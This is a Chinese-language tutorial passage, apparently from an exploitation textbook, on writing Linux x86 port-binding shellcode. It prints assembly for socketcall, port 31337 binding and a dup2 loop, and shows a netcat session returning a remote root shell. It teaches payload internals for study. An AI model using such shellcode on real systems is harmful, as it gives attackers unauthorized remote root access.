利用遠端程式時,前面設計的 shellcode 都不管用——注入的 shellcode 需透過網路遞出互動式 root 提示。Port-binding shellcode 會把 shell 綁到某個網路連接埠,在那裡監聽連入連線。

一個系統呼叫搞定所有 socket 函式#

那些熟悉的 socket 函式全都能透過單一個 Linux 系統呼叫 socketcall()(syscall 102)存取:

int socketcall(int call, unsigned long *args);
  • EAX 永遠是 102。
  • EBX 是 socket 呼叫的型別(SYS_SOCKET=1、SYS_BIND=2、SYS_CONNECT=3、SYS_LISTEN=4、SYS_ACCEPT=5……)。
  • ECX 是指向該呼叫引數的指標。

有些呼叫需要 sockaddr 結構,必須由 shellcode 建構。用 GDB 除錯編譯後的 bind_port.c 是直接看清這結構在記憶體中樣貌的辦法:前 8 位元組含所有重要資訊——sin_family(2)與 sin_port(網路位元組順序)是 word,後面的位址是 DWORD。31337 以十六進位是 0x7a69,在記憶體中反序存為 0x697a

綁定連接埠的組合語言#

sockaddr 結構與引數陣列都藉由反序推入堆疊、再把 ESP 複製進 ECX 建構。結構最後 8 位元組不用,就不推入,堆疊上碰巧的隨機位元組占用那空間無妨:

; s = socket(2, 1, 0)
push BYTE 0x66 / pop eax   ; socketcall = syscall #102
cdq                        ; 清零 edx 備用
xor ebx, ebx / inc ebx     ; ebx = 1 = SYS_SOCKET
push edx / push BYTE 0x1 / push BYTE 0x2  ; {protocol=0, SOCK_STREAM=1, AF_INET=2}
mov ecx, esp
int 0x80                   ; eax = socket 檔案描述元
xchg esi, eax              ; 存 socket FD 到 esi
; bind → listen → accept 依此類推

組譯注入後,這段 shellcode 綁到連接埠 31337、阻塞在 accept 等連線;連線被接受後,新的 socket 檔案描述元留在 EAX。這要與前面的產生 shell 程式碼結合才有用——所幸標準檔案描述元讓這個融合異常簡單。

複製標準檔案描述元#

標準輸入、輸出、錯誤是程式做標準 I/O 用的三個標準檔案描述元。Socket 也只是能讀寫的檔案描述元

只要把生成 shell 的標準輸入/輸出/錯誤換成已連線的 socket 檔案描述元,shell 就會把輸出與錯誤寫到 socket、從 socket 收到的位元組讀取輸入。系統呼叫 dup2(syscall 63)專門用來複製檔案描述元。

; dup2(connected socket, {0, 1, 2})
mov ebx, eax
push BYTE 0x3F / pop eax    ; dup2 syscall #63
xor ecx, ecx               ; 標準輸入
int 0x80
mov BYTE al, 0x3F / inc ecx / int 0x80  ; 標準輸出
mov BYTE al, 0x3F / inc ecx / int 0x80  ; 標準錯誤
; 接著 execve /bin//sh

用 netcat 從另一終端連上該連接埠,即可取得遠端 root shell:

reader@hacking:~/booksrc $ nc -vv 127.0.0.1 31337
whoami
root

用分支控制結構縮小#

C 的控制結構(for 迴圈、if-then-else)在機器語言中由條件分支與迴圈構成。重複三次的 dup2 呼叫可縮成一個迴圈。

反組譯第一章的 for 迴圈可見兩個新指令:cmp(比較)與 jle(jump if less than or equal to)。cmp 比較兩運算元、依結果設定旗標,條件跳躍再依旗標跳。

條件跳躍指令與狀態旗標
指令說明
cmp <dest>, <source>比較,為條件跳躍設旗標
je / jne相等 / 不相等時跳
jl / jle小於 / 小於等於時跳
jg / jge大於 / 大於等於時跳
jz / jnzzero flag 設定 / 未設定時跳
js / jnssign flag 設定 / 未設定時跳

cmp 設定的狀態旗標中最有用的兩個:

  • zero flag(ZF):結果為零時為真。
  • sign flag(SF):結果的最高位元,結果為負時為真。
mov ebx, eax
xor eax, eax
push BYTE 0x2 / pop ecx    ; ecx 從 2 開始
dup_loop:
  mov BYTE al, 0x3F        ; dup2 syscall #63
  int 0x80
  dec ecx                  ; 往下數到 0
  jns dup_loop             ; sign flag 未設定 → ecx 非負,繼續

xchg(交換) 指令交換兩運算元的值,比兩暫存器間的 mov 更小(1 位元組)。xchg eax,ebx 一舉兩得:把 socket FD 放進 ebx、同時清零 eax 的上三位元組(因 ebx 上三位元組本已清零)。

這些技巧組譯出的正是前一章使用的 92 位元組 bind_shell shellcode。